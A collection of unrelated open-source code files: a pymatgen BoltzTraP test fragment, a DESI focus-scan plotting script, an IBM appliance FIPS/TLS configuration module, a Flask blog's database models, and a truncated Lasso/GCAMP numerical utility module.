118.70171) self.assertAlmostEqual(self.bz.dos.densities[Spin.up][200], 179.58562) self.assertAlmostEqual(self.bz.dos.densities[Spin.up][300], 289.43945) self.assertAlmostEqual(self.bz_bands._bz_bands.shape, (1316, 20)) self.assertAlmostEqual(self.bz_bands._bz_kpoints.shape, (1316, 3)) self.assertAlmostEqual(self.bz_up._dos_partial["0"]["pz"][2562], 0.023862958) self.assertAlmostEqual(self.bz_dw._dos_partial["1"]["px"][3120], 5.0192891) self.assertAlmostEqual(self.bz_fermi.fermi_surface_data.shape, (121, 121, 65)) self.assertAlmostEqual(self.bz_fermi.fermi_surface_data[21][79][19], -1.8831911809439161, 5) @unittest.skipIf(not fdint, "No FDINT") def test_get_seebeck_eff_mass(self): ref = [1.956090529381193, 2.0339311618566343, 1.1529383757896965] ref2 = [4258.4072823354145, 4597.0351887125289, 4238.1262696392705] sbk_mass_tens_mu = self.bz.get_seebeck_eff_mass(output="tensor", doping_levels=False, temp=300)[3] sbk_mass_tens_dop = self.bz.get_seebeck_eff_mass(output="tensor", doping_levels=True, temp=300)["n"][2] sbk_mass_avg_mu = self.bz.get_seebeck_eff_mass(output="average", doping_levels=False, temp=300)[3] sbk_mass_avg_dop = self.bz.get_seebeck_eff_mass(output="average", doping_levels=True, temp=300)["n"][2] for i in range(0, 3): self.assertAlmostEqual(sbk_mass_tens_mu[i], ref2[i], 1) self.assertAlmostEqual(sbk_mass_tens_dop[i], ref[i], 4) self.assertAlmostEqual(sbk_mass_avg_mu, 4361.4744008038842, 1) self.assertAlmostEqual(sbk_mass_avg_dop, 1.661553842105382, 4) @unittest.skipIf(not fdint, "No FDINT") def test_get_complexity_factor(self): ref = [2.7658776815227828, 2.9826088215568403, 0.28881335881640308] ref2 = [0.0112022048620205, 0.0036001049607186602, 0.0083028947173193028] sbk_mass_tens_mu = self.bz.get_complexity_factor(output="tensor", doping_levels=False, temp=300)[3] sbk_mass_tens_dop = self.bz.get_complexity_factor(output="tensor", doping_levels=True, temp=300)["n"][2] sbk_mass_avg_mu = self.bz.get_complexity_factor(output="average", doping_levels=False, temp=300)[3] sbk_mass_avg_dop = self.bz.get_complexity_factor(output="average", doping_levels=True, temp=300)["n"][2] for i in range(0, 3): self.assertAlmostEqual(sbk_mass_tens_mu[i], ref2[i], 4) self.assertAlmostEqual(sbk_mass_tens_dop[i], ref[i], 4) self.assertAlmostEqual(sbk_mass_avg_mu, 0.00628677029221, 4) self.assertAlmostEqual(sbk_mass_avg_dop, 1.12322832119, 4) def test_get_seebeck(self): ref = [-768.99078999999995, -724.43919999999991, -686.84682999999973] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_seebeck()["n"][800][3][i], ref[i]) self.assertAlmostEqual(self.bz.get_seebeck(output="average")["p"][800][3], 697.608936667) self.assertAlmostEqual( self.bz.get_seebeck(output="average", doping_levels=False)[500][520], 1266.7056, ) self.assertAlmostEqual( self.bz.get_seebeck(output="average", doping_levels=False)[300][65], -36.2459389333, ) # TODO: this was originally "eigs" def test_get_conductivity(self): ref = [5.9043185000000022, 17.855599000000002, 26.462935000000002] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_conductivity()["p"][600][2][i], ref[i]) self.assertAlmostEqual(self.bz.get_conductivity(output="average")["n"][700][1], 1.58736609667) self.assertAlmostEqual( self.bz.get_conductivity(output="average", doping_levels=False)[300][457], 2.87163566667, ) self.assertAlmostEqual( self.bz.get_conductivity( output="average", doping_levels=False, # TODO: this was originally "eigs" relaxation_time=1e-15, )[200][63], 16573.0536667, ) def test_get_power_factor(self): ref = [6.2736602345523362, 17.900184232304138, 26.158282220458144] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_power_factor()["p"][200][2][i], ref[i]) self.assertAlmostEqual(self.bz.get_power_factor(output="average")["n"][600][4], 411.230962976) self.assertAlmostEqual( self.bz.get_power_factor(output="average", doping_levels=False, relaxation_time=1e-15)[500][459], 6.59277148467, ) self.assertAlmostEqual( self.bz.get_power_factor(output="average", doping_levels=False)[800][61], 2022.67064134, ) # TODO: this was originally "eigs" def test_get_thermal_conductivity(self): ref = [2.7719565628862623e-05, 0.00010048046886793946, 0.00015874549392499391] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_thermal_conductivity()["p"][300][2][i], ref[i]) self.assertAlmostEqual( self.bz.get_thermal_conductivity(output="average", relaxation_time=1e-15)["n"][500][0], 1.74466575612e-07, ) self.assertAlmostEqual( self.bz.get_thermal_conductivity(output="average", doping_levels=False)[800][874], 8.08066254813, ) self.assertAlmostEqual( self.bz.get_thermal_conductivity(output="average", doping_levels=False)[200][32], # TODO: this was originally "eigs" 0.0738961845832, ) self.assertAlmostEqual( self.bz.get_thermal_conductivity(k_el=False, output="average", doping_levels=False)[200][32], 0.19429052, ) def test_get_zt(self): ref = [0.097408810215, 0.29335112354, 0.614673998089] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_zt()["n"][800][4][i], ref[i]) self.assertAlmostEqual(self.bz.get_zt(output="average", kl=0.5)["p"][700][2], 0.0170001879916) self.assertAlmostEqual( self.bz.get_zt(output="average", doping_levels=False, relaxation_time=1e-15)[300][240], 0.0041923533238348342, ) eigs = self.bz.get_zt(output="eigs", doping_levels=False)[700][65] ref_eigs = [0.082420053399668847, 0.29408035502671648, 0.40822061215079392] for idx, val in enumerate(ref_eigs): self.assertAlmostEqual(eigs[idx], val, 5) def test_get_average_eff_mass(self): ref = [0.76045816788363574, 0.96181142990667101, 2.9428428773308628] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_average_eff_mass()["p"][300][2][i], ref[i]) ref = [1.1295783824744523, 1.3898454041924351, 5.2459984671977935] ref2 = [6.6648842712692078, 31.492540105738343, 37.986369302138954] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_average_eff_mass()["n"][600][1][i], ref[i]) self.assertAlmostEqual(self.bz.get_average_eff_mass(doping_levels=False)[300][200][i], ref2[i]) ref = [ [9.61811430e-01, -8.25159596e-19, -4.70319444e-19], [-8.25159596e-19, 2.94284288e00, 3.00368916e-18], [-4.70319444e-19, 3.00368916e-18, 7.60458168e-01], ] ref2 = [ [27.97604444269153, -2.39347589e-17, -1.36897140e-17], [-2.39347589e-17, 8.55969097e01, 8.74169648e-17], [-1.36897140e-17, 8.74169648e-17, 2.21151980e01], ] for i in range(0, 3): for j in range(0, 3): self.assertAlmostEqual( self.bz.get_average_eff_mass(output="tensor")["p"][300][2][i][j], ref[i][j], 4, ) self.assertAlmostEqual( self.bz.get_average_eff_mass(output="tensor", doping_levels=False)[300][500][i][j], ref2[i][j], 4, ) self.assertAlmostEqual( self.bz.get_average_eff_mass(output="average")["n"][300][2], 1.53769093989, 4, ) def test_get_carrier_concentration(self): self.assertAlmostEqual(self.bz.get_carrier_concentration()[300][39] / 1e22, 6.4805156617179151, 4) self.assertAlmostEqual(self.bz.get_carrier_concentration()[300][693] / 1e15, -6.590800965604750, 4) def test_get_hall_carrier_concentration(self): self.assertAlmostEqual( self.bz.get_hall_carrier_concentration()[600][120] / 1e21, 6.773394626767555, 4, ) self.assertAlmostEqual( self.bz.get_hall_carrier_concentration()[500][892] / 1e21, -9.136803845741777, 4, ) def test_get_symm_bands(self): structure = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/structure_mp-12103.json")) sbs = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/dft_bs_sym_line.json")) kpoints = [kp.frac_coords for kp in sbs.kpoints] labels_dict = {k: sbs.labels_dict[k].frac_coords for k in sbs.labels_dict} for kpt_line, labels_dict in zip([None, sbs.kpoints, kpoints], [None, sbs.labels_dict, labels_dict]): sbs_bzt = self.bz_bands.get_symm_bands(structure, -5.25204548, kpt_line=kpt_line, labels_dict=labels_dict) self.assertAlmostEqual(len(sbs_bzt.bands[Spin.up]), 20) self.assertAlmostEqual(len(sbs_bzt.bands[Spin.up][1]), 143) # def test_check_acc_bzt_bands(self): # structure = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR,'boltztrap/structure_mp-12103.json')) # sbs = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR,'boltztrap/dft_bs_sym_line.json')) # sbs_bzt = self.bz_bands.get_symm_bands(structure,-5.25204548) # corr,werr_vbm,werr_cbm,warn = BoltztrapAnalyzer.check_acc_bzt_bands(sbs_bzt,sbs) # self.assertAlmostEqual(corr[2],9.16851750e-05) # self.assertAlmostEqual(werr_vbm['K-H'],0.18260273521047862) # self.assertAlmostEqual(werr_cbm['M-K'],0.071552669981356981) # self.assertFalse(warn) def test_get_complete_dos(self): structure = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/structure_mp-12103.json")) cdos = self.bz_up.get_complete_dos(structure, self.bz_dw) spins = list(cdos.densities.keys()) self.assertIn(Spin.down, spins) self.assertIn(Spin.up, spins) self.assertAlmostEqual( cdos.get_spd_dos()[OrbitalType.p].densities[Spin.up][3134], 43.839230100999991, ) self.assertAlmostEqual( cdos.get_spd_dos()[OrbitalType.s].densities[Spin.down][716], 6.5383268000000001, ) def test_extreme(self): x = self.bz.get_extreme("seebeck") self.assertEqual(x["best"]["carrier_type"], "n") self.assertAlmostEqual(x["p"]["value"], 1255.365, 2) self.assertEqual(x["n"]["isotropic"], True) self.assertEqual(x["n"]["temperature"], 600) x = self.bz.get_extreme("kappa", maximize=False, min_temp=400, min_doping=1e20) self.assertAlmostEqual(x["best"]["value"], 0.105, 2) self.assertAlmostEqual(x["n"]["value"], 0.139, 2) self.assertEqual(x["p"]["temperature"], 400) self.assertEqual(x["n"]["isotropic"], False) def test_to_from_dict(self): btr_dict = self.btr.as_dict() s = json.dumps(btr_dict) self.assertIsNotNone(s) self.assertIsNotNone(btr_dict["bs"]) if __name__ == "__main__": unittest.main()
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bin/focus_scan.py
desihub/desicmx
3
928
<gh_stars>1-10 #!/usr/bin/env python import astropy.io.fits as fits import numpy as np import os import matplotlib.pyplot as plt import argparse def _fname(expid, night, basedir='/n/home/datasystems/users/ameisner/reduced/focus', ccds=False): fname = basedir + '/' + night + '/' + str(expid).zfill(8) + '/gfa-' + str(expid).zfill(8) + '_psfs.fits' if ccds: fname = fname.replace('_psfs.fits', '_ccds.fits') return fname def _actual_expid_list(expids, night, basedir='/n/home/datasystems/users/ameisner/reduced/focus'): keep = [] for i, expid in enumerate(expids): fname = _fname(expid, night, basedir=basedir, ccds=True) if not os.path.exists(fname): continue tab = fits.getdata(fname) # try to handle case where observer accidentally lists the 'setup focus scan' # 1 second exposure as the start of the focus scan if (i == 0) & (tab[0]['EXPTIME'] < 1.1): print('SKIPPING DUMMY SETUP EXPOSURE') continue program = tab[0]['PROGRAM'].strip() if program != 'focus scan': break keep.append(expid) return keep def focus_plots(night, expids, basedir='/n/home/datasystems/users/ameisner/reduced/focus', outdir='/n/home/desiobserver/focus_scan_pngs', no_popups=False): expids = _actual_expid_list(expids, night, basedir=basedir) if len(expids) == 0: print('NO FOCUS SCAN EXPOSURES TO ANALYZE ??') assert(False) plt.figure(1, figsize=(12.0*(len(expids)/7.0), 9)) extnames = ['GUIDE0', 'GUIDE2', 'GUIDE3', 'GUIDE5', 'GUIDE7', 'GUIDE8'] focus_z = [] fwhm_pix = [] # PSF stamps plot plt.subplots_adjust(hspace=0.01, wspace=0.01) for i, expid in enumerate(expids): fname = _fname(expid, night, basedir=basedir) print(fname) fname_ccds = _fname(expid, night, basedir=basedir, ccds=True) if not os.path.exists(fname): continue ccds = fits.getdata(fname_ccds) if np.sum(np.isfinite(ccds['PSF_FWHM_PIX'])) != 0: fwhm_pix.append(np.median(ccds['PSF_FWHM_PIX'][np.isfinite(ccds['PSF_FWHM_PIX'])])) focus_z.append(float(ccds[0]['FOCUS'].split(',')[2])) hdul = fits.open(fname) extnames_present = [hdu.header['EXTNAME'] for hdu in hdul] for j, extname in enumerate(extnames): if extname not in extnames_present: continue print(i, j) plt.subplot(6, len(expids), len(expids)*j + i + 1) plt.xticks([]) plt.yticks([]) im = fits.getdata(fname, extname=extname) plt.imshow(im, interpolation='nearest', origin='lower', cmap='gray_r', vmin=0.01) plt.text(5, 44, str(expid) + '; ' + extname, color='r', fontsize=9) plt.text(10, 3.5, 'z = ' + str(int(float(ccds[0]['FOCUS'].split(',')[2]))), color='r') if np.isfinite(ccds[j]['XCENTROID_PSF']) and np.isfinite(ccds[j]['YCENTROID_PSF']): plt.scatter([ccds[j]['XCENTROID_PSF']], [ccds[j]['YCENTROID_PSF']], marker='.', c='r') expid_min = int(np.min(expids)) print(focus_z) print(fwhm_pix) plt.savefig(os.path.join(outdir, 'stamps_focus_scan-' + str(expid_min).zfill(8)+'.png'), bbox_inches='tight') #plt.cla() plt.figure(200) asec_per_pix = 0.205 focus_z = np.array(focus_z) fwhm_asec = np.array(fwhm_pix)*asec_per_pix plt.scatter(focus_z, fwhm_asec) plt.xlabel('focus z (micron)') plt.ylabel('FWHM (asec)') coeff = np.polyfit(focus_z, fwhm_asec, 2) xsamp = np.arange(np.min(focus_z), np.max(focus_z)) ysamp = coeff[0]*(np.power(xsamp, 2)) + coeff[1]*xsamp + coeff[2] plt.title('focus scan starting with EXPID = ' + str(expid_min)) plt.plot(xsamp, ysamp) zmin = -coeff[1]/(2*coeff[0]) min_fwhm_fit_asec = coeff[0]*(zmin**2) + coeff[1]*zmin + coeff[2] yrange = [np.min(fwhm_asec), np.max(fwhm_asec)] plt.text(focus_z[2], yrange[0] + 0.8*(yrange[1]-yrange[0]), 'best FWHM (meas) : ' + '{:.2f}'.format(np.min(fwhm_asec))) plt.text(focus_z[2], yrange[0] + 0.7*(yrange[1]-yrange[0]), 'best FWHM (fit) : ' + '{:.2f}'.format(min_fwhm_fit_asec)) plt.text(focus_z[2], yrange[0] + 0.9*(yrange[1]-yrange[0]), 'best focus : ' + str(int(np.round(zmin)))) plt.savefig(os.path.join(outdir, 'fit_focus_scan-' + str(expid_min).zfill(8) + '.png'), bbox_inches='tight') if not no_popups: plt.show() def _test(): night = '20200131' expids = 45446 + np.arange(7) focus_plots(night, expids, basedir='/project/projectdirs/desi/users/ameisner/GFA/run/psf_flux_weighted_centroid', outdir='.') def _test_missing_cam(): night = '20200131' expids = 45485 + np.arange(7) focus_plots(night, expids, basedir='/project/projectdirs/desi/users/ameisner/GFA/run/psf_flux_weighted_centroid') if __name__ == "__main__": descr = 'GFA focus sequence plots/analysis' parser = argparse.ArgumentParser(description=descr) parser.add_argument('first_expid', type=int, nargs=1) parser.add_argument('night', type=str, nargs=1) parser.add_argument('--basedir', default='/n/home/datasystems/users/ameisner/reduced/focus', type=str, help='base directory for GFA reductions') parser.add_argument('--outdir', default='/n/home/desiobserver/focus_scan_pngs', type=str, help='output directory for plot PNGs') parser.add_argument('--no_popups', default=False, action='store_true', help='write PNGs without popping up plot windows') args = parser.parse_args() expids = args.first_expid + np.arange(16, dtype=int) print(expids) print(args.night[0]) print(args.basedir) outdir = args.outdir if os.path.exists(args.outdir) else '.' focus_plots(args.night[0], expids, basedir=args.basedir, outdir=outdir, no_popups=args.no_popups)
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ibmsecurity/isam/base/fips.py
zone-zero/ibmsecurity
46
23646
import logging import ibmsecurity.utilities.tools import time logger = logging.getLogger(__name__) requires_model = "Appliance" def get(isamAppliance, check_mode=False, force=False): """ Retrieving the current FIPS Mode configuration """ return isamAppliance.invoke_get("Retrieving the current FIPS Mode configuration", "/fips_cfg", requires_model=requires_model) def set(isamAppliance, fipsEnabled=True, tlsv10Enabled=True, tlsv11Enabled=False, check_mode=False, force=False): """ Updating the FIPS Mode configuration """ obj = _check(isamAppliance, fipsEnabled, tlsv10Enabled, tlsv11Enabled) if force is True or obj['value'] is False: if check_mode is True: return isamAppliance.create_return_object(changed=True, warnings=obj['warnings']) else: return isamAppliance.invoke_put( "Updating the FIPS Mode configuration", "/fips_cfg", { "fipsEnabled": fipsEnabled, "tlsv10Enabled": tlsv10Enabled, "tlsv11Enabled": tlsv11Enabled }, requires_model=requires_model ) return isamAppliance.create_return_object(warnings=obj['warnings']) def restart(isamAppliance, check_mode=False, force=False): """ Rebooting and enabling the FIPS Mode configuration :param isamAppliance: :param check_mode: :param force: :return: """ if check_mode is True: return isamAppliance.create_return_object(changed=True) else: return isamAppliance.invoke_put( "Rebooting and enabling the FIPS Mode configuration", "/fips_cfg/restart", {}, requires_model=requires_model ) def restart_and_wait(isamAppliance, wait_time=300, check_freq=5, check_mode=False, force=False): """ Restart after FIPS configuration changes :param isamAppliance: :param wait_time: :param check_freq: :param check_mode: :param force: :return: """ if isamAppliance.facts['model'] != "Appliance": return isamAppliance.create_return_object( warnings="API invoked requires model: {0}, appliance is of deployment model: {1}.".format( requires_model, isamAppliance.facts['model'])) warnings = [] if check_mode is True: return isamAppliance.create_return_object(changed=True) else: firmware = ibmsecurity.isam.base.firmware.get(isamAppliance, check_mode=check_mode, force=force) ret_obj = restart(isamAppliance) if ret_obj['rc'] == 0: sec = 0 # Now check if it is up and running while 1: ret_obj = ibmsecurity.isam.base.firmware.get(isamAppliance, check_mode=check_mode, force=force, ignore_error=True) # check partition last_boot time if ret_obj['rc'] == 0 and isinstance(ret_obj['data'], list) and len(ret_obj['data']) > 0 and \ (('last_boot' in ret_obj['data'][0] and ret_obj['data'][0]['last_boot'] != firmware['data'][0][ 'last_boot'] and ret_obj['data'][0]['active'] == True) or ( 'last_boot' in ret_obj['data'][1] and ret_obj['data'][1]['last_boot'] != firmware['data'][1]['last_boot'] and ret_obj['data'][1]['active'] == True)): logger.info("Server is responding and has a different boot time!") return isamAppliance.create_return_object(warnings=warnings) else: time.sleep(check_freq) sec += check_freq logger.debug( "Server is not responding yet. Waited for {0} secs, next check in {1} secs.".format(sec, check_freq)) if sec >= wait_time: warnings.append( "The FIPS restart not detected or completed, exiting... after {0} seconds".format(sec)) break return isamAppliance.create_return_object(warnings=warnings) def _check(isamAppliance, fipsEnabled, tlsv10Enabled, tlsv11Enabled): obj = {'value': True, 'warnings': ""} ret_obj = get(isamAppliance) obj['warnings'] = ret_obj['warnings'] if ret_obj['data']['fipsEnabled'] != fipsEnabled: logger.info("fipsEnabled change to {0}".format(fipsEnabled)) obj['value'] = False return obj if ret_obj['data']['tlsv10Enabled'] != tlsv10Enabled: logger.info("TLS v1.0 change to {0}".format(tlsv10Enabled)) obj['value'] = False return obj if ret_obj['data']['tlsv11Enabled'] != tlsv11Enabled: logger.info("TLS v1.1 change to {0}".format(tlsv11Enabled)) obj['value'] = False return obj return obj def compare(isamAppliance1, isamAppliance2): ret_obj1 = get(isamAppliance1) ret_obj2 = get(isamAppliance2) return ibmsecurity.utilities.tools.json_compare(ret_obj1, ret_obj2, deleted_keys=[])
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info/models.py
oychao1988/WebServer
0
1611474
<filename>info/models.py from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from info import constants from . import db class BaseModel(object): """模型基类，为每个模型补充创建时间与更新时间""" create_time = db.Column(db.DateTime, default=datetime.now) # 记录的创建时间 update_time = db.Column(db.DateTime, default=datetime.now, onupdate=datetime.now) # 记录的更新时间 class AdminUser(BaseModel, db.Model): """用户""" __tablename__ = "info_adminuser" id = db.Column(db.Integer, primary_key=True) # 编号 card_name = db.Column(db.String(64), nullable=False) # 名片名字 card_avatar = db.Column(db.String(64), nullable=False) # 名片头像 card_about = db.Column(db.String(64), nullable=False) # 名片介绍 card_job = db.Column(db.String(64), nullable=False) # 名片职位 title = db.Column(db.String(64), nullable=False) # 网站标题 description = db.Column(db.String(256), nullable=False) # 描述信息 keywords = db.Column(db.String(256), nullable=False) # SEO关键词 email = db.Column(db.String(64), nullable=False) # 邮箱 qq = db.Column(db.String(32), nullable=False) # qq wxid = db.Column(db.String(64), nullable=False) # 邮箱 wxcode = db.Column(db.String(64), nullable=False) # 微信二维码账号 butoom_title = db.Column(db.String(64), nullable=False) # 底部标题 beian = db.Column(db.String(64), nullable=False) # 底部备案 logo_name = db.Column(db.String(64), nullable=False) # logo名字 logo_image = db.Column(db.String(64), nullable=False) # logo图片链接 about_me = db.Column(db.Text, nullable=False) # 关于我 tags = db.Column(db.String(256), nullable=False) # 标签云词 def to_dict(self): resp_dict = { "id": self.id, "title": self.title, "description": self.description, "keywords": self.keywords, "email": self.email, "qq": self.qq, "tags": self.tags, "wxid": self.wxid, "wxcode": self.wxcode, "butoom_title": self.butoom_title, "beian": self.beian, "about_me": self.about_me, "card_name": self.card_name, "card_job": self.card_job, "card_about": self.card_about, "card_avatar": self.card_avatar, "update_time": self.update_time.strftime("%Y-%m-%d %H:%M:%S"), "logo_name": self.logo_name, "logo_image": self.logo_image, } return resp_dict def to_index_dict(self): resp_dict = { "id": self.id, "title": self.title, "description": self.description, "keywords": self.keywords, "card_avatar": self.card_avatar, "email": self.email, "qq": self.qq, "card_name": self.card_name, "card_job": self.card_job, "card_about": self.card_about, "tags": self.tags.split(','), "about_me": self.about_me, "wxid": self.wxid, "wxcode": self.wxcode, "butoom_title": self.butoom_title, "beian": self.beian, "logo_name": self.logo_name, "logo_image": self.logo_image, } return resp_dict class User(BaseModel, db.Model): """用户""" __tablename__ = "info_user" id = db.Column(db.Integer, primary_key=True) # 用户编号 nick_name = db.Column(db.String(32), unique=True, nullable=False) # 用户昵称 password_hash = db.Column(db.String(128), nullable=False) # 加密的密码 mobile = db.Column(db.String(11), unique=True, nullable=False) # 手机号 avatar_url = db.Column(db.String(256)) # 用户头像路径 last_login = db.Column(db.DateTime, default=datetime.now) # 最后一次登录时间 is_admin = db.Column(db.Boolean, default=False) signature = db.Column(db.String(512)) # 用户签名 gender = db.Column( # 性别 db.Enum( "MAN", # 男 "WOMAN" # 女 ), default="MAN") @property def password(self): raise AttributeError("当前属性不可读") @password.setter def password(self, value): self.password_hash = generate_password_hash(value) def check_passowrd(self, password): return check_password_hash(self.password_hash, password) def to_dict(self): resp_dict = { "id": self.id, "nick_name": self.nick_name, "avatar_url": self.avatar_url, # constants.QINIU_DOMIN_PREFIX + self.avatar_url if self.avatar_url else "", "mobile": self.mobile, "gender": self.gender if self.gender else "MAN", "signature": self.signature if self.signature else "", } return resp_dict def to_admin_dict(self): resp_dict = { "id": self.id, "nick_name": self.nick_name, "mobile": self.mobile, "register": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "last_login": self.last_login.strftime("%Y-%m-%d %H:%M:%S"), } return resp_dict class NewsAction(BaseModel, db.Model): """文章状态：是否首页推荐或特别推荐，通过第三张表来快速查询被推荐的文章""" __tablename__ = "info_news_action" id = db.Column(db.Integer, primary_key=True) news_id = db.Column(db.Integer, db.ForeignKey("info_news.id")) # 外键关联文章id is_banner = db.Column(db.Boolean, default=False) # 是否首页banner推荐 is_top = db.Column(db.Boolean, default=False) # 是否top推荐 is_tuijian = db.Column(db.Boolean, default=False) # 是否特别推荐 # 查询所有内容 news_action = db.relationship('News', backref=db.backref('action', lazy='dynamic')) class News(BaseModel, db.Model): """文章""" __tablename__ = "info_news" id = db.Column(db.Integer, primary_key=True) # 文章编号 title = db.Column(db.String(64), nullable=False) # 文章标题 source = db.Column(db.String(64), default="wberica", nullable=False) # 文章来源 digest = db.Column(db.String(512), nullable=False) # 文章摘要 content = db.Column(db.Text, nullable=False) # 文章内容 clicks = db.Column(db.Integer, default=0) # 浏览量 index_image_url = db.Column(db.String(256)) # 文章列表图片路径 category_id = db.Column(db.Integer, db.ForeignKey("info_category.id")) status = db.Column(db.Integer, default=0) # 当前文章状态 如果为0代展示，1为逻辑删除 like_count = db.Column(db.Integer, default=0) # 文章点赞数 # 当前新闻的所有评论 comments = db.relationship("Comment", lazy="dynamic", cascade='all, delete-orphan', passive_deletes=True) __table_args__ = { "mysql_charset": "utf8mb4" } def to_review_dict(self): resp_dict = { "id": self.id, "title": self.title, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "status": self.status, "reason": self.reason if self.reason else "" } return resp_dict def to_basic_dict(self): resp_dict = { "id": self.id, "title": self.title, "source": self.source, "digest": self.digest, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "create_date": self.create_time.strftime("%Y-%m-%d"), "index_image_url": self.index_image_url, "clicks": self.clicks, } return resp_dict def to_dict(self): resp_dict = { "id": self.id, "title": self.title, "source": self.source if self.source else "棋子。", "digest": self.digest, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "create_date": self.create_time.strftime("%Y-%m-%d"), "content": self.content, "comments_count": self.comments.count(), "clicks": self.clicks, "category": self.category.to_dict(), "index_image_url": self.index_image_url, "like_count": self.like_count if self.like_count else 0, # "author": self.user.to_dict() if self.user else None, } return resp_dict class Comment(BaseModel, db.Model): """评论""" __tablename__ = "info_comment" id = db.Column(db.Integer, primary_key=True) # 评论编号 news_id = db.Column(db.Integer, db.ForeignKey("info_news.id", ondelete='CASCADE'), nullable=False) # 新闻id content = db.Column(db.Text, nullable=False) # 评论内容 # 自关联级联删除直接在外键设置里面增加ondelete='CASCADE' parent_id = db.Column(db.Integer, db.ForeignKey("info_comment.id", ondelete='CASCADE')) # 父评论id parent = db.relationship("Comment", remote_side=[id]) # 自关联 like_count = db.Column(db.Integer, default=0) # 点赞条数 # 设置数据库表编码方式为utf8mb4 __table_args__ = { "mysql_charset": "utf8mb4" } def to_dict(self): resp_dict = { "id": self.id, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), # 过滤尖括号防止xss # "content": self.content, "content": self.content.replace('<', '(') if '<' in self.content else self.content, "parent": self.parent.to_dict() if self.parent else None, "news_id": self.news_id, "like_count": self.like_count } return resp_dict class Category(BaseModel, db.Model): """分类""" __tablename__ = "info_category" id = db.Column(db.Integer, primary_key=True) # 分类编号 name = db.Column(db.String(64), nullable=False) # 分类名 news_list = db.relationship('News', backref='category', lazy='dynamic') def to_dict(self): resp_dict = { "id": self.id, "name": self.name } return resp_dict class Link(BaseModel, db.Model): """友情链接""" __tablename__ = "info_link" id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(32), nullable=True) url = db.Column(db.String(32), nullable=True) # 设置数据库表编码方式为utf8mb4 __table_args__ = { "mysql_charset": "utf8mb4" } def to_dict(self): resp_dict = { "id": self.id, "name": self.name, "url": self.url, } return resp_dict class Gbook(BaseModel, db.Model): """评论""" __tablename__ = "info_gbook" id = db.Column(db.Integer, primary_key=True) # 留言编号 ip = db.Column(db.String(32), nullable=True) # ip replyName = db.Column(db.String(16), default='热心网民', nullable=True) # 评论昵称 beReplyName = db.Column(db.String(16), nullable=True) # 被回复者昵称 email = db.Column(db.String(32), nullable=True) # 邮箱 browser = db.Column(db.String(16), nullable=True) # 浏览器 os_name = db.Column(db.String(16), nullable=True) # 操作系统 content = db.Column(db.Text, nullable=False) # 留言内容 son_id = db.Column(db.Integer, db.ForeignKey("info_gbook.id", ondelete='CASCADE')) # 自评论id son = db.relationship("Gbook", remote_side=[id]) # 自关联 # 设置数据库表编码方式为utf8mb4 __table_args__ = { "mysql_charset": "utf8mb4" } def to_dict(self): resp_dict = { "id": self.id, "ip": self.ip if self.ip else "127.0.0.1", "img": "http://blog.xiaosankexing.com/FkYTTlB4LR8g0RT2tq_xcpk5aRIy", "browser": self.browser if self.browser else "", "os_name": self.os_name if self.os_name else "", "time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "replyName": self.replyName if self.replyName else "热心网民", # "content": self.content, "content": self.content.replace('<', '(') if '<' in self.content else self.content, "replyBody": [self.son.to_dict()] if self.son else "", "beReplyName": self.beReplyName if self.beReplyName else "热心网民", "create_time": self.create_time, } return resp_dict
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tests/test_function.py
aroberge/nonstandard
2
186050
from .common import nonstandard from .function_testfile import *
[ 1, 515, 869, 9435, 1053, 1661, 15770, 13, 3166, 869, 2220, 29918, 1688, 1445, 1053, 334, 13, 13, 2 ]
lassolver/utils/func.py
Ken529n/Lassolver
0
104103
import numpy as np from scipy.stats import truncnorm, norm def soft_threshold(r, gamma): """ soft-thresholding function """ return np.maximum(np.abs(r) - gamma, 0.0) * np.sign(r) def df(r, gamma): """ divergence-free function """ eta = soft_threshold(r, gamma) return eta - np.mean(eta != 0) * r def GCAMP(w, beta, log=False): shita = 0.7 communication_cost = 0 P, N, _ = w.shape T = beta * shita / (P-1) R = np.zeros((P, N, 1)) z = np.zeros((N, 1)) #STEP1 for p in range(1, P): R[p] = np.abs(w[p]) > T candidate = np.where(R[p])[0] for n in candidate: communication_cost += 1 send_to1(n, w[p, n]) #STEP2 S = [np.where(R[:, n])[0] for n in range(N)] m = np.sum(R, axis=0) U = np.empty((N, 1)) for n in range(N): upper = (P - 1 - m[n]) * T z[n] = w[0, n] + np.sum([w[p, n] for p in S[n]]) U[n] = np.abs(z[n]) + upper F = (U > beta) * (m < (P-1)) candidate = np.where(F)[0] for n in candidate: communication_cost += 1 broadcast_others(n) #STEP3 F_R = F * np.logical_not(R) for p in range(1, P): #print("p: {}".format(p)) candidate = np.where(F_R[p])[0] for n in candidate: communication_cost += 1 send_to1(n ,w[p, n]) if log: print("Rp: {} \t F: {} \t F\\Rp: {}".format(np.sum(R), np.sum(F), np.sum(F_R)-np.sum(F))) print("Total Communication Cost: {}".format(communication_cost)) print("="*50) #STEP4 s = np.zeros((N, 1)) b = np.zeros((N, 1)) V = np.where(U > beta)[0].tolist() for n in V: b[n] = np.sum(w[:, n]) s[n] = soft_threshold(b[n], beta) return s.real, communication_cost def GCAMP_exp(w, tau_p, log=False): shita = 0.7 tau = np.sum(tau_p) communication_cost = 0 P, N, _ = w.shape R = np.zeros((P, N, 1)) #STEP1 for p in range(1, P): R[p] = np.square(w[p]) > tau_p[p] * shita candidate = np.where(R[p])[0] for n in candidate: communication_cost += 1 send_to1(n, w[p, n]) #STEP2 S = [np.where(R[:, n])[0] for n in range(N)] m = np.sum(R, axis=0) U = np.empty((N, 1)) for n in 